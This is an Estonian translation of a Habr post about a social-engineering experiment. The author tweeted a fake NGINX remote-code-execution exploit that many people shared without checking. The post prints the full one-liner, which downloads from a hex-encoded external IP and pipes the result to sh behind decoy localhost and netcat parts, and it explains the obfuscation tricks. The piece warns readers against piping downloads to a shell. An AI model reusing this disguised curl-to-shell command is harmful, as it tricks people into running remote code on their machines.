Sotsiaalse eksperimendi edu valeeksplooiti kasutades nginx-i jaoks

Märkus tõlke kohta.: Autor originaalkirjest, mis avaldati 1. juunil, otsustas läbi viia eksperiment informatsiooni turvalisuse huviliste seas. Selleks valmistati vale eksploit avastamata haavatavusele veebiserveris ja see postitati tema Twitterisse. Tema eelduse kohaselt pidid spetsialistid, kes näeksid koodis ilmset pettust, ta koheselt paljastama, kuid see ei läinud mitte lihtsalt nii… See ületas kõik ootused, hoopis vastupidiselt: tweet sai tohutut toetust paljude inimeste poolt, kes ei vaevunud selle sisu kontrollima.

TL;DR: ärge mingil juhul kasutage failide torustamist sh või bash-s. See on suurepärane viis kaotada kontroll oma arvuti üle.

Soovin jagada teiega väikest lugu naljakast PoC-eksploitist, mis loodi 31. mail. See ilmus kiiresti vastusena uudisele Alisa Esage Ševtšenko, liikme Zero Day Initiative (ZDI) kohta, et peagi avalikustatakse teave haavatavuse kohta NGINX-is, mis toob kaasa RCE (koodi kaugkäitamine). Arvestades, et NGINX on mitmete veebisaitide aluseks, pidanuks uudis olema plahvatusohtlik. Kuid tänu viivitustele 'vastutustundlikul avalikustamisel' ei olnud juhtunu üksikasjad teada – see on ZDI standardmenetlus.

Tweet NGINX-i haavatavuse avalikustamise kohta

Lõpetanud uue hägustamise tehnika curlis, tõin originaaltweeti ja 'kandsin välja töötava PoC', mis koosnes ühest koodireast, mis väidetavalt kasutas avastatud haavatavust. Loomulikult oli see täielik jama. Arvasin, et mind paljastatakse kohe ja et paremal juhul saan paar retweeti (noh, ja siis pole midagi).

Tweet vale eksploitiga

Kuid ma ei suutnud ette kujutada, mis edasi juhtus. Minu tweeti populaarsus tõusis lakke. Üllatav, kuid hetkel (1. juuni 15:00 MSK) on endiselt vähe inimesi, kes on aru saanud, et see on vale. Paljud retweetivad seda üldse kontrollimata (rääkimata sellest, et nautida imelist ASCII-graafikat, mis see välja toob).

Vaadake, kui ilus see on!

Kuigi kõik need tsüklid ja värvid on suurepärased, on selge, et nende nägemiseks pidid inimesed koodi oma arvutis käivitama. Õnneks töötavad brauserid sarnaselt, ja arvestades, et mul pole mingeid õiguslikke probleeme, tegi minu saidi kood vaid echo-kutseid, proovimata käivitada ega paigaldada mingit lisakoodi.

Kerge kõrvalepõikamine: netspooky, dnz, mina ja teised meeskonna liikmed Thugcrowd oleme juba mõnda aega katsetanud erinevaid viise curl-käskude obscuring'uks, sest see on lahe... ja me oleme geegid. netspooky ja dnz avastasid mõned uued viisid, mis tundusid mulle äärmiselt paljutõotavad. Liitusin lõbuga ja proovisin lisada IP-dekimaalseid teisendusi, et tuua kollektsiooni uusi trikke. Selgus, et IP-d saab teisendada ka heksadecimaalsesse formaati. Veelgi enam, curl ja enamik teisi NIX-tööriistu võtavad heksadebütelid jõuduga! Seega tuli lihtsalt luua veenev ja turvalisena näiv käsklus. Lõpuks jäin ma selle juurde:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../....//nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh<='protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Sotsiaalne-elektrooniline inseneritehnika (S.E.E.) – rohkem kui lihtsalt püügimeetod

Turvalisus ja tuttavus olid selle eksperimendi keskmes. Usun, et just need aitasid sellele edule. Komandliin vihjas selgelt turvalisusele, viidates «127.0.0.1» (kõigile tuntud localhost). Peetakse, et localhost on turvaline ja sellele salvestatud andmed ei lahku kunagi teie arvutist.

Tuttavus oli katse teine võtme S.E.E. komponent. Kuna sihtrühm koosnes valdavalt inimestest, kes teavad arvutiturbe aluseid, oli oluline luua selline kood, mille osad näiksid tuttavad ja harjumuspärased (seega turvalised). Elementide laenamine vanadest ekspluateerimiskonseptidest ja nende ebatavalisel viisil kombineerimine osutus väga edukaks.

Allpool on üksikasjalik analüüs ühekordsest käsklusest. Kõik sellest loendist on kosmeetiline, ja selle tõeliseks tööks ei ole peaaegu midagi vajalik.

Millised komponendid on tõeliselt vajalikud? Need on -gsS, -O 0x0238f06a, |sh ja veebiserver. Veebiserver ei sisaldanud ühtegi pahatahtlikku käsku, vaid edastati ASCII-graafikat käskude abil echo skriptis, mis sisaldus index.html. Kui kasutaja sisestas rea |sh keskel, index.html laaditi ja käidi. Õnneks ei olnud veebiserveri hoidjad kurja meelt.

• ../../../%00 — kujutab endast väljumist kaustast;
• ngx_stream_module.so — tee juhuslikule NGINX-i moodulile;
• /bin/sh%00<'protocol:TCP' — me eeldame, et käivitame /bin/sh sihtmasinas ja suuname väljundi TCP-kanalisse;
• -O 0x0238f06a#PLToffset — salajane koostisosa, millele on lisatud #PLToffset, et see näeks välja nagu mälu nihke, mis on kuidagi PLT-sse sisse peidetud;
• |sh; — veel üks oluline fragment. Me pidime suunama väljundi sh/bashi, et käivitada kood, mis tuleb ründava veebiserveri aadressilt 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost — tühi koht, kus netcat osutab /dev/tcp/localhost, et kõik näeks jälle turvaline välja. Tegelikult ei tee see midagi ja on rea sees lihtsalt ilu pärast.

Sellega lõpeb ühekordse skripti dekodeerimine ja "sotsiaal-elektroonilise inseneeria" (noutfishing) aspektide arutelu.

Veebiserveri konfiguratsioon ja meetmed küberrünnakute vastu

Kuna enamus mu jälgijatest on infotehnoloogia ekspertide/häkkijate, otsustasin teha veebiserveri veidi vastupidavamaks nende huvi ilmingutele, et neil oleks millegi kallal töötada (ja seda seadistada oli tõeliselt tore). Ma ei hakka siin üles loetlema kõiki lõkse, kuna eksperiment on endiselt käimas, kuid siin on mõned asjad, mida server teeb:

• Aktiivselt jälgib katsed jagada teatud sotsiaalsetes võrgustikes ning pahatahtlikult tingib erinevad eelvaate pisipildid, et kasutajat linki klikkima meelitada.
• Suunab Chrome'i/Mozilla/Safari jne Thugcrowdi reklaamvideole, selle asemel et näidata shelli skripti.
• Jälgib ILMSELGEID sissetungi/krakimise märke, pärast mida hakkab suunama päringuid NSA serveritesse (ha-ha!).
• Paigaldab trooja ja ka BIOS-i rootkiti kõikidele arvutitele, mille kasutajad külastavad hosti tavabrauseriga (nali!).

Väike osa antireaalsusest

Antud juhul oli mu ainus eesmärk uurida mõningaid Apache'i võimalusi — eriti lahedaid päringu suunamise reegleid — ja ma mõtlesin, miks mitte?

NGINX-i eksploit (päris!)

Jälgi @alisaesage Twitteris ja jälgi ZDI imelisi jõupingutusi NGINX-i tõeliselt ebameeldivate haavatavuste ja ekspluateerimise võimaluste kõrvaldamisel. Nende töö on mind alati lummanud ja olen tänulik Alicele kannatlikkuse eest, mis kaasnes kõigi minu rumala tweet’i tõttu tulnud mainimiste ja teavitustega. Õnneks tõi see ka mõningast kasu: aitas tõsta teadlikkust NGINX-i haavatavustest ja curl’i kuritarvitamisest tulenevatest probleemidest.

Allikas: habr.com